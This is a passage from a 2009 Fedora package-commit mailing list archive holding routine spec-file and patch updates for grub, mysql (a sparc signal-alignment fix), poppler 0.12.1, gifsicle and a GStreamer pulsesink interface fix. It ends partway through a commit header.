@@ -1106,3 +1106,31 @@ index 2358eba..be89434 100644
  };
  
  struct _GstPulseSrcClass
+From 2ab820fc251b9041cd82fdc01c68b8d450e5949c Mon Sep 17 00:00:00 2001
+From: Bastien Nocera <hadess at hadess.net>
+Date: Mon, 19 Oct 2009 15:21:57 +0100
+Subject: [PATCH] [pulse] Fix the StreamVolume interface not being advertised
+
+gst_pulsesink_interface_supported() was missing a check for it.
+
+https://bugzilla.gnome.org/show_bug.cgi?id=598933
+---
+ ext/pulse/pulsesink.c |    2 ++
+ 1 files changed, 2 insertions(+), 0 deletions(-)
+
+diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
+index 1fe2b72..f1907fe 100644
+--- a/ext/pulse/pulsesink.c
++++ b/ext/pulse/pulsesink.c
+@@ -1378,6 +1378,8 @@ gst_pulsesink_interface_supported (GstImplementsInterface *
+ 
+   if (interface_type == GST_TYPE_PROPERTY_PROBE && this->probe)
+     return TRUE;
++  if (interface_type == GST_TYPE_STREAM_VOLUME)
++    return TRUE;
+ 
+   return FALSE;
+ }
+-- 
+1.6.5.rc2
+



From pjones at fedoraproject.org  Mon Oct 19 14:32:48 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Mon, 19 Oct 2009 14:32:48 +0000 (UTC)
Subject: rpms/grub/F-12 grub.spec,1.108,1.109
Message-ID: <20091019143248.D3D3B11C00DC@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/grub/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16333

Modified Files:
	grub.spec 
Log Message:
Update relocatable kernel support to Fujitsu's newest patch.

This patch fixes the problem that UEFI boot fains on systems that
have the memory region starting at 1MB in use.
The strategy is as follows:

- Loading temporarily vmlinuz image to the address which AllocatePages()
  function returned.
- After calling ExitBootServices() function, copy its reagion to the
  address which params->hdr.code32_start points to.

Signed-off-by: Taku Izumi <izumi.taku at jp.fujitsu.com>



Index: grub.spec
===================================================================
RCS file: /cvs/extras/rpms/grub/F-12/grub.spec,v
retrieving revision 1.108
retrieving revision 1.109
diff -u -p -r1.108 -r1.109
--- grub.spec	16 Sep 2009 21:22:39 -0000	1.108
+++ grub.spec	19 Oct 2009 14:32:48 -0000	1.109
@@ -1,6 +1,6 @@
 Name: grub
 Version: 0.97
-Release: 60%{?dist}
+Release: 61%{?dist}
 Summary: Grand Unified Boot Loader.
 Group: System Environment/Base
 License: GPLv2+
@@ -141,6 +141,9 @@ fi
 %{_datadir}/grub
 
 %changelog
+* Mon Oct 19 2009 Peter Jones <pjones at redhat.com> - 0.97-61
+- Update relocatable kernel support for UEFI/x86_64 .
+
 * Wed Sep 16 2009 Peter Jones <pjones at redhat.com> - 0.97-60
 - Fix a typo introduced in grub-fedora-9.patch that may effect UEFI
   Graphics Output Protocol.



From ausil at fedoraproject.org  Mon Oct 19 14:34:38 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 19 Oct 2009 14:34:38 +0000 (UTC)
Subject: rpms/mysql/F-12 mysql-signal-align.patch, NONE, 1.1 mysql.spec,
	1.131, 1.132 mysql-sparc-gcc-bug.patch, 1.1, NONE
Message-ID: <20091019143438.0E8AF11C00DC@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mysql/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17041

Modified Files:
	mysql.spec 
Added Files:
	mysql-signal-align.patch 
Removed Files:
	mysql-sparc-gcc-bug.patch 
Log Message:
propper fix for nbd on sparc


mysql-signal-align.patch:
 dbtup/DbtupRoutines.cpp |    5 +++--
 ndbfs/AsyncFile.cpp     |    4 ++--
 2 files changed, 5 insertions(+), 4 deletions(-)

--- NEW FILE mysql-signal-align.patch ---
Fix a bit of silliness; the original coding not only computes the required
size of the temp variable incorrectly, but doesn't guarantee the correct
alignment.  This demonstrably leads to ndbd crashing at launch on sparc64,
and is probably bad news for performance on other 64-bit machines even
if they don't give an actual SIGBUS.

Filed upstream at http://bugs.mysql.com/bug.php?id=48132


diff -Naur mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp mysql-5.1.39/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp
--- mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp	2009-09-04 12:21:18.000000000 -0400
+++ mysql-5.1.39/storage/ndb/src/kernel/blocks/dbtup/DbtupRoutines.cpp	2009-10-17 14:24:56.000000000 -0400
@@ -1144,8 +1144,9 @@
                    KeyReqStruct *req_struct,
                    Uint32* outBuffer)
 {
-  Uint32 tmp[sizeof(SignalHeader)+25];
-  Signal * signal = (Signal*)&tmp;
+  SignalT<25> signalT;
+  Signal *signal= (Signal*)&signalT;
+
   switch(attrId){
   case AttributeHeader::FRAGMENT:
     * outBuffer = fragptr.p->fragmentId;
diff -Naur mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp mysql-5.1.39/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp
--- mysql-5.1.39.orig/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp	2009-09-04 12:21:19.000000000 -0400
+++ mysql-5.1.39/storage/ndb/src/kernel/blocks/ndbfs/AsyncFile.cpp	2009-10-17 14:26:21.000000000 -0400
@@ -529,8 +529,8 @@
   {
     off_t off = 0;
     const off_t sz = request->par.open.file_size;
-    Uint32 tmp[sizeof(SignalHeader)+25];
-    Signal * signal = (Signal*)(&tmp[0]);
+    SignalT<25> signalT;
+    Signal *signal= (Signal*)&signalT;
     FsReadWriteReq* req = (FsReadWriteReq*)signal->getDataPtrSend();
 
     Uint32 index = 0;


Index: mysql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mysql/F-12/mysql.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- mysql.spec	16 Oct 2009 20:50:20 -0000	1.131
+++ mysql.spec	19 Oct 2009 14:34:37 -0000	1.132
@@ -1,6 +1,6 @@
 Name: mysql
 Version: 5.1.39
-Release: 3%{?dist}
+Release: 4%{?dist}
 Summary: MySQL client programs and shared libraries
 Group: Applications/Databases
 URL: http://www.mysql.com
@@ -33,7 +33,7 @@ Patch7: mysql-plugin-bug.patch
 Patch8: mysql-setschedparam.patch
 Patch9: mysql-ndb-stacksize.patch
 Patch10: mysql-strmov.patch
-Patch11: mysql-sparc-gcc-bug.patch
+Patch11: mysql-signal-align.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: gperf, perl, readline-devel, openssl-devel
@@ -649,6 +649,9 @@ fi
 %{_mandir}/man1/mysql_client_test.1*
 
 %changelog
+* Sat Oct 17 2009 Tom Lane <tgl at redhat.com> 5.1.39-4
+- Replace kluge fix for ndbd sparc crash with a real fix (mysql bug 48132)
+
 * Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 5.1.39-3
 - Work around two different compiler bugs on sparc, one by backing off
   optimization from -O2 to -O1, and the other with a klugy patch


--- mysql-sparc-gcc-bug.patch DELETED ---



From rdieter at fedoraproject.org  Mon Oct 19 14:38:07 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 14:38:07 +0000 (UTC)
Subject: rpms/poppler/devel poppler-0.12.1-objstream.patch, NONE,
	1.1 .cvsignore, 1.42, 1.43 poppler.spec, 1.102, 1.103 sources,
	1.46, 1.47 poppler-ObjStream.patch, 1.11, NONE
Message-ID: <20091019143807.DA93C11C00DC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18337

Modified Files:
	.cvsignore poppler.spec sources 
Added Files:
	poppler-0.12.1-objstream.patch 
Removed Files:
	poppler-ObjStream.patch 
Log Message:
* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
- poppler-0.12.1
- deprecate xpdf/pdftohtml Conflicts/Obsoletes


poppler-0.12.1-objstream.patch:
 XRef.cc |   37 ++++++-------------------------------
 XRef.h  |   43 ++++++++++++++++++++++++++++++++++++++++---
 2 files changed, 46 insertions(+), 34 deletions(-)

--- NEW FILE poppler-0.12.1-objstream.patch ---
diff -up poppler-0.12.1/poppler/XRef.cc.objstream poppler-0.12.1/poppler/XRef.cc
--- poppler-0.12.1/poppler/XRef.cc.objstream	2009-10-17 17:23:09.000000000 -0500
+++ poppler-0.12.1/poppler/XRef.cc	2009-10-19 08:29:24.552691208 -0500
@@ -69,37 +69,9 @@
 // ObjectStream
 //------------------------------------------------------------------------
 
-class ObjectStream {
-public:
-
-  // Create an object stream, using object number <objStrNum>,
-  // generation 0.
-  ObjectStream(XRef *xref, int objStrNumA);
-
-  GBool isOk() { return ok; }
-
-  ~ObjectStream();
-
-  // Return the object number of this object stream.
-  int getObjStrNum() { return objStrNum; }
-
-  // Get the <objIdx>th object from this stream, which should be
-  // object number <objNum>, generation 0.
-  Object *getObject(int objIdx, int objNum, Object *obj);
-
-private:
-
-  int objStrNum;		// object number of the object stream
-  int nObjects;			// number of objects in the stream
-  Object *objs;			// the objects (length = nObjects)
-  int *objNums;			// the object numbers (length = nObjects)
-  GBool ok;
-};
-
 ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
   Stream *str;
   Parser *parser;
-  int *offsets;
   Object objStr, obj1, obj2;
   int first, i;
 
@@ -107,6 +79,7 @@ ObjectStream::ObjectStream(XRef *xref, i
   nObjects = 0;
   objs = NULL;
   objNums = NULL;
+  offsets = NULL;
   ok = gFalse;
 
   if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
@@ -128,6 +101,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     goto err1;
   }
   first = obj1.getInt();
+  firstOffset = objStr.getStream()->getBaseStream()->getStart() + first;
   obj1.free();
   if (first < 0) {
     goto err1;
@@ -156,7 +130,7 @@ ObjectStream::ObjectStream(XRef *xref, i
       obj1.free();
       obj2.free();
       delete parser;
-      gfree(offsets);
+//       gfree(offsets);
       goto err1;
     }
     objNums[i] = obj1.getInt();
@@ -166,7 +140,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     if (objNums[i] < 0 || offsets[i] < 0 ||
 	(i > 0 && offsets[i] < offsets[i-1])) {
       delete parser;
-      gfree(offsets);
+//       gfree(offsets);
       goto err1;
     }
   }
@@ -195,7 +169,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     delete parser;
   }
 
-  gfree(offsets);
+  // gfree(offsets);
   ok = gTrue;
 
  err1:
@@ -212,6 +186,7 @@ ObjectStream::~ObjectStream() {
     delete[] objs;
   }
   gfree(objNums);
+  gfree(offsets);
 }
 
 Object *ObjectStream::getObject(int objIdx, int objNum, Object *obj) {
diff -up poppler-0.12.1/poppler/XRef.h.objstream poppler-0.12.1/poppler/XRef.h
--- poppler-0.12.1/poppler/XRef.h.objstream	2009-09-09 16:22:31.000000000 -0500
+++ poppler-0.12.1/poppler/XRef.h	2009-10-19 08:34:12.152684910 -0500
@@ -1,8 +1,8 @@
 //========================================================================
 //
-// XRef.h
+//XRef.h 
 //
-// Copyright 1996-2003 Glyph & Cog, LLC
+//Copyright 1996-2003 Glyph & Cog, LLC
 //
 //========================================================================
 
@@ -36,7 +36,43 @@
 class Dict;
 class Stream;
 class Parser;
-class ObjectStream;
+
+
+//------------------------------------------------------------------------
+// ObjectStream
+//------------------------------------------------------------------------
+
+class ObjectStream {
+public:
+
+  // Create an object stream, using object number <objStrNum>,
+  // generation 0.
+  ObjectStream(XRef *xref, int objStrNumA);
+
+  GBool isOk() { return ok; }
+
+  ~ObjectStream();
+
+  // Return the object number of this object stream.
+  int getObjStrNum() { return objStrNum; }
+
+  // Get the <objIdx>th object from this stream, which should be
+  // object number <objNum>, generation 0.
+  Object *getObject(int objIdx, int objNum, Object *obj);
+
+  int *getOffsets() { return offsets; }
+  Guint getFirstOffset() { return firstOffset; }
+
+private:
+
+  int objStrNum;		// object number of the object stream
+  int nObjects;			// number of objects in the stream
+  Object *objs;			// the objects (length = nObjects)
+  int *objNums;			// the object numbers (length = nObjects)
+  GBool ok;
+  int *offsets;			// the object offsets (length = nObjects)
+  Guint firstOffset;
+};
 
 //------------------------------------------------------------------------
 // XRef
@@ -123,6 +159,7 @@ public:
   int getSize() { return size; }
   XRefEntry *getEntry(int i) { return &entries[i]; }
   Object *getTrailerDict() { return &trailerDict; }
+  ObjectStream *getObjStr() { return objStr; }
 
   // Write access
   void setModifiedObject(Object* o, Ref r);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	9 Sep 2009 18:43:29 -0000	1.42
+++ .cvsignore	19 Oct 2009 14:38:05 -0000	1.43
@@ -1 +1 @@
-poppler-0.12.0.tar.gz
+poppler-0.12.1.tar.gz


Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/devel/poppler.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- poppler.spec	11 Sep 2009 18:05:09 -0000	1.102
+++ poppler.spec	19 Oct 2009 14:38:06 -0000	1.103
@@ -1,15 +1,17 @@
 
 Summary: PDF rendering library
 Name: poppler
-Version: 0.12.0
+Version: 0.12.1
 Release: 1%{?dist}
 License: GPLv2
 Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
 Source0: http://poppler.freedesktop.org/poppler-%{version}.tar.gz
-# for texlive/pdftex, TODO: upstream
-Patch0: poppler-ObjStream.patch
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+## upstreamable patches
+# for texlive/pdftex, make ObjStream class public
+Patch100: poppler-0.12.1-objstream.patch
 
 BuildRequires: automake libtool
 BuildRequires: cairo-devel >= 1.8.4
@@ -93,15 +95,16 @@ Requires: qt4-devel
 Summary: Command line utilities for converting PDF files
 Group: Applications/Text
 Requires: %{name} = %{version}-%{release}
-Conflicts: xpdf <= 1:3.01-8
-# There's an extras package that provides pdftohtml
-
+%if 0%{?fedora} < 11
+#  last seen in fc8
 Provides: pdftohtml
 Obsoletes: pdftohtml
-
+#  last seen in fc7
 Provides: xpdf-utils = 1:3.01-27.fc7
 Obsoletes: xpdf-utils <= 1:3.01-26.fc7
-
+# even earlier?
+Conflicts: xpdf <= 1:3.01-8
+%endif
 %description utils
 Poppler, a PDF rendering library, is a fork of the xpdf PDF
 viewer developed by Derek Noonburg of Glyph and Cog, LLC.
@@ -112,14 +115,13 @@ converting PDF files to a number of othe
 %prep
 %setup -q 
 
-%patch0 -p0 -b .objstream
+%patch100 -p1 -b .objstream
+
 # hammer to nuke rpaths, recheck on new releases
 autoreconf -i -f
 
 
 %build
-# can use in a pinch, but isn't necessary (in general) -- Rex
-unset QTDIR && . /etc/profile.d/qt.sh
 %configure \
   --disable-static \
   --enable-cairo-output \
@@ -135,9 +137,10 @@ make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
+
 make install DESTDIR=$RPM_BUILD_ROOT 
 
-rm $RPM_BUILD_ROOT%{_libdir}/lib*.la
+rm -fv $RPM_BUILD_ROOT%{_libdir}/lib*.la
 
 
 %post -p /sbin/ldconfig
@@ -211,6 +214,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
+- poppler-0.12.1
+- deprecate xpdf/pdftohtml Conflicts/Obsoletes
+
 * Wed Sep 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.0-1
 - Update to 0.12.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/devel/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	9 Sep 2009 18:43:29 -0000	1.46
+++ sources	19 Oct 2009 14:38:06 -0000	1.47
@@ -1 +1 @@
-399b25d9d71ad22bc9a2a9281769c49c  poppler-0.12.0.tar.gz
+3432046ee111efa5b85e5f2cdde8af5c  poppler-0.12.1.tar.gz


--- poppler-ObjStream.patch DELETED ---



From orion at fedoraproject.org  Mon Oct 19 14:38:22 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Mon, 19 Oct 2009 14:38:22 +0000 (UTC)
Subject: rpms/gifsicle/devel .cvsignore, 1.4, 1.5 gifsicle.spec, 1.8,
	1.9 sources, 1.4, 1.5
Message-ID: <20091019143822.0265211C00DC@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gifsicle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18556

Modified Files:
	.cvsignore gifsicle.spec sources 
Log Message:
* Mon Oct 19 2009 - Orion Poplawski <orion at cora.nwra.com> - 1.56-1
- Update to 1.56



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gifsicle/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	16 Jul 2009 21:43:25 -0000	1.4
+++ .cvsignore	19 Oct 2009 14:38:21 -0000	1.5
@@ -1 +1 @@
-gifsicle-1.55.tar.gz
+gifsicle-1.56.tar.gz


Index: gifsicle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gifsicle/devel/gifsicle.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gifsicle.spec	25 Jul 2009 00:08:25 -0000	1.8
+++ gifsicle.spec	19 Oct 2009 14:38:21 -0000	1.9
@@ -1,6 +1,6 @@
 Name:           gifsicle
-Version:        1.55
-Release:        2%{?dist}
+Version:        1.56
+Release:        1%{?dist}
 Summary:        Powerful program for manipulating GIF images and animations
 
 Group:          Applications/File
@@ -79,6 +79,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 - Orion Poplawski <orion at cora.nwra.com> - 1.56-1
+- Update to 1.56
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.55-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gifsicle/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	16 Jul 2009 21:43:25 -0000	1.4
+++ sources	19 Oct 2009 14:38:21 -0000	1.5
@@ -1 +1 @@
-366e63ac0aa4696397cb46a1384fd65a  gifsicle-1.55.tar.gz
+75ef0296c8db86433dccd633bd2a89f3  gifsicle-1.56.tar.gz



From pjones at fedoraproject.org  Mon Oct 19 14:38:46 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Mon, 19 Oct 2009 14:38:46 +0000 (UTC)
Subject: rpms/grub/F-12 grub.spec,1.109,1.110
Message-ID: <20091019143846.0A01E11C00DC@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/grub/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18648

Modified Files:
	grub.spec 
Log Message:
Add bz reference



Index: grub.spec
===================================================================
RCS file: /cvs/extras/rpms/grub/F-12/grub.spec,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- grub.spec	19 Oct 2009 14:32:48 -0000	1.109
+++ grub.spec	19 Oct 2009 14:38:45 -0000	1.110
@@ -143,6 +143,7 @@ fi
 %changelog
 * Mon Oct 19 2009 Peter Jones <pjones at redhat.com> - 0.97-61
 - Update relocatable kernel support for UEFI/x86_64 .
+  Related: rhbz #476230
 
 * Wed Sep 16 2009 Peter Jones <pjones at redhat.com> - 0.97-60
 - Fix a typo introduced in grub-fedora-9.patch that may effect UEFI



From rdieter at fedoraproject.org  Mon Oct 19 14:38:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 14:38:59 +0000 (UTC)
Subject: rpms/poppler/F-12 poppler-0.12.1-objstream.patch, NONE,
	1.1 .cvsignore, 
	1.42, 1.43 poppler.spec, 1.102, 1.103 sources, 1.46,
	1.47 poppler-ObjStream.patch, 1.11, NONE
Message-ID: <20091019143859.0B75711C00DC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18843

Modified Files:
	.cvsignore poppler.spec sources 
Added Files:
	poppler-0.12.1-objstream.patch 
Removed Files:
	poppler-ObjStream.patch 
Log Message:
* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
- poppler-0.12.1
- deprecate xpdf/pdftohtml Conflicts/Obsoletes


poppler-0.12.1-objstream.patch:
 XRef.cc |   37 ++++++-------------------------------
 XRef.h  |   43 ++++++++++++++++++++++++++++++++++++++++---
 2 files changed, 46 insertions(+), 34 deletions(-)

--- NEW FILE poppler-0.12.1-objstream.patch ---
diff -up poppler-0.12.1/poppler/XRef.cc.objstream poppler-0.12.1/poppler/XRef.cc
--- poppler-0.12.1/poppler/XRef.cc.objstream	2009-10-17 17:23:09.000000000 -0500
+++ poppler-0.12.1/poppler/XRef.cc	2009-10-19 08:29:24.552691208 -0500
@@ -69,37 +69,9 @@
 // ObjectStream
 //------------------------------------------------------------------------
 
-class ObjectStream {
-public:
-
-  // Create an object stream, using object number <objStrNum>,
-  // generation 0.
-  ObjectStream(XRef *xref, int objStrNumA);
-
-  GBool isOk() { return ok; }
-
-  ~ObjectStream();
-
-  // Return the object number of this object stream.
-  int getObjStrNum() { return objStrNum; }
-
-  // Get the <objIdx>th object from this stream, which should be
-  // object number <objNum>, generation 0.
-  Object *getObject(int objIdx, int objNum, Object *obj);
-
-private:
-
-  int objStrNum;		// object number of the object stream
-  int nObjects;			// number of objects in the stream
-  Object *objs;			// the objects (length = nObjects)
-  int *objNums;			// the object numbers (length = nObjects)
-  GBool ok;
-};
-
 ObjectStream::ObjectStream(XRef *xref, int objStrNumA) {
   Stream *str;
   Parser *parser;
-  int *offsets;
   Object objStr, obj1, obj2;
   int first, i;
 
@@ -107,6 +79,7 @@ ObjectStream::ObjectStream(XRef *xref, i
   nObjects = 0;
   objs = NULL;
   objNums = NULL;
+  offsets = NULL;
   ok = gFalse;
 
   if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
@@ -128,6 +101,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     goto err1;
   }
   first = obj1.getInt();
+  firstOffset = objStr.getStream()->getBaseStream()->getStart() + first;
   obj1.free();
   if (first < 0) {
     goto err1;
@@ -156,7 +130,7 @@ ObjectStream::ObjectStream(XRef *xref, i
       obj1.free();
       obj2.free();
       delete parser;
-      gfree(offsets);
+//       gfree(offsets);
       goto err1;
     }
     objNums[i] = obj1.getInt();
@@ -166,7 +140,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     if (objNums[i] < 0 || offsets[i] < 0 ||
 	(i > 0 && offsets[i] < offsets[i-1])) {
       delete parser;
-      gfree(offsets);
+//       gfree(offsets);
       goto err1;
     }
   }
@@ -195,7 +169,7 @@ ObjectStream::ObjectStream(XRef *xref, i
     delete parser;
   }
 
-  gfree(offsets);
+  // gfree(offsets);
   ok = gTrue;
 
  err1:
@@ -212,6 +186,7 @@ ObjectStream::~ObjectStream() {
     delete[] objs;
   }
   gfree(objNums);
+  gfree(offsets);
 }
 
 Object *ObjectStream::getObject(int objIdx, int objNum, Object *obj) {
diff -up poppler-0.12.1/poppler/XRef.h.objstream poppler-0.12.1/poppler/XRef.h
--- poppler-0.12.1/poppler/XRef.h.objstream	2009-09-09 16:22:31.000000000 -0500
+++ poppler-0.12.1/poppler/XRef.h	2009-10-19 08:34:12.152684910 -0500
@@ -1,8 +1,8 @@
 //========================================================================
 //
-// XRef.h
+//XRef.h 
 //
-// Copyright 1996-2003 Glyph & Cog, LLC
+//Copyright 1996-2003 Glyph & Cog, LLC
 //
 //========================================================================
 
@@ -36,7 +36,43 @@
 class Dict;
 class Stream;
 class Parser;
-class ObjectStream;
+
+
+//------------------------------------------------------------------------
+// ObjectStream
+//------------------------------------------------------------------------
+
+class ObjectStream {
+public:
+
+  // Create an object stream, using object number <objStrNum>,
+  // generation 0.
+  ObjectStream(XRef *xref, int objStrNumA);
+
+  GBool isOk() { return ok; }
+
+  ~ObjectStream();
+
+  // Return the object number of this object stream.
+  int getObjStrNum() { return objStrNum; }
+
+  // Get the <objIdx>th object from this stream, which should be
+  // object number <objNum>, generation 0.
+  Object *getObject(int objIdx, int objNum, Object *obj);
+
+  int *getOffsets() { return offsets; }
+  Guint getFirstOffset() { return firstOffset; }
+
+private:
+
+  int objStrNum;		// object number of the object stream
+  int nObjects;			// number of objects in the stream
+  Object *objs;			// the objects (length = nObjects)
+  int *objNums;			// the object numbers (length = nObjects)
+  GBool ok;
+  int *offsets;			// the object offsets (length = nObjects)
+  Guint firstOffset;
+};
 
 //------------------------------------------------------------------------
 // XRef
@@ -123,6 +159,7 @@ public:
   int getSize() { return size; }
   XRefEntry *getEntry(int i) { return &entries[i]; }
   Object *getTrailerDict() { return &trailerDict; }
+  ObjectStream *getObjStr() { return objStr; }
 
   // Write access
   void setModifiedObject(Object* o, Ref r);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-12/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	9 Sep 2009 18:43:29 -0000	1.42
+++ .cvsignore	19 Oct 2009 14:38:58 -0000	1.43
@@ -1 +1 @@
-poppler-0.12.0.tar.gz
+poppler-0.12.1.tar.gz


Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-12/poppler.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- poppler.spec	11 Sep 2009 18:05:09 -0000	1.102
+++ poppler.spec	19 Oct 2009 14:38:58 -0000	1.103
@@ -1,15 +1,17 @@
 
 Summary: PDF rendering library
 Name: poppler
-Version: 0.12.0
+Version: 0.12.1
 Release: 1%{?dist}
 License: GPLv2
 Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
 Source0: http://poppler.freedesktop.org/poppler-%{version}.tar.gz
-# for texlive/pdftex, TODO: upstream
-Patch0: poppler-ObjStream.patch
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+## upstreamable patches
+# for texlive/pdftex, make ObjStream class public
+Patch100: poppler-0.12.1-objstream.patch
 
 BuildRequires: automake libtool
 BuildRequires: cairo-devel >= 1.8.4
@@ -93,15 +95,16 @@ Requires: qt4-devel
 Summary: Command line utilities for converting PDF files
 Group: Applications/Text
 Requires: %{name} = %{version}-%{release}
-Conflicts: xpdf <= 1:3.01-8
-# There's an extras package that provides pdftohtml
-
+%if 0%{?fedora} < 11
+#  last seen in fc8
 Provides: pdftohtml
 Obsoletes: pdftohtml
-
+#  last seen in fc7
 Provides: xpdf-utils = 1:3.01-27.fc7
 Obsoletes: xpdf-utils <= 1:3.01-26.fc7
-
+# even earlier?
+Conflicts: xpdf <= 1:3.01-8
+%endif
 %description utils
 Poppler, a PDF rendering library, is a fork of the xpdf PDF
 viewer developed by Derek Noonburg of Glyph and Cog, LLC.
@@ -112,14 +115,13 @@ converting PDF files to a number of othe
 %prep
 %setup -q 
 
-%patch0 -p0 -b .objstream
+%patch100 -p1 -b .objstream
+
 # hammer to nuke rpaths, recheck on new releases
 autoreconf -i -f
 
 
 %build
-# can use in a pinch, but isn't necessary (in general) -- Rex
-unset QTDIR && . /etc/profile.d/qt.sh
 %configure \
   --disable-static \
   --enable-cairo-output \
@@ -135,9 +137,10 @@ make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
+
 make install DESTDIR=$RPM_BUILD_ROOT 
 
-rm $RPM_BUILD_ROOT%{_libdir}/lib*.la
+rm -fv $RPM_BUILD_ROOT%{_libdir}/lib*.la
 
 
 %post -p /sbin/ldconfig
@@ -211,6 +214,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
+- poppler-0.12.1
+- deprecate xpdf/pdftohtml Conflicts/Obsoletes
+
 * Wed Sep 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.0-1
 - Update to 0.12.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-12/sources,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- sources	9 Sep 2009 18:43:29 -0000	1.46
+++ sources	19 Oct 2009 14:38:58 -0000	1.47
@@ -1 +1 @@
-399b25d9d71ad22bc9a2a9281769c49c  poppler-0.12.0.tar.gz
+3432046ee111efa5b85e5f2cdde8af5c  poppler-0.12.1.tar.gz


--- poppler-ObjStream.patch DELETED ---



From rdieter at fedoraproject.org  Mon Oct 19 14:40:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 19 Oct 2009 14:40:14 +0000 (UTC)
Subject: rpms/poppler/F-12 poppler-0.12.1-objstream.patch,1.1,1.2
Message-ID: <20091019144014.7D73C11C02A6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19226/F-12

Modified Files:
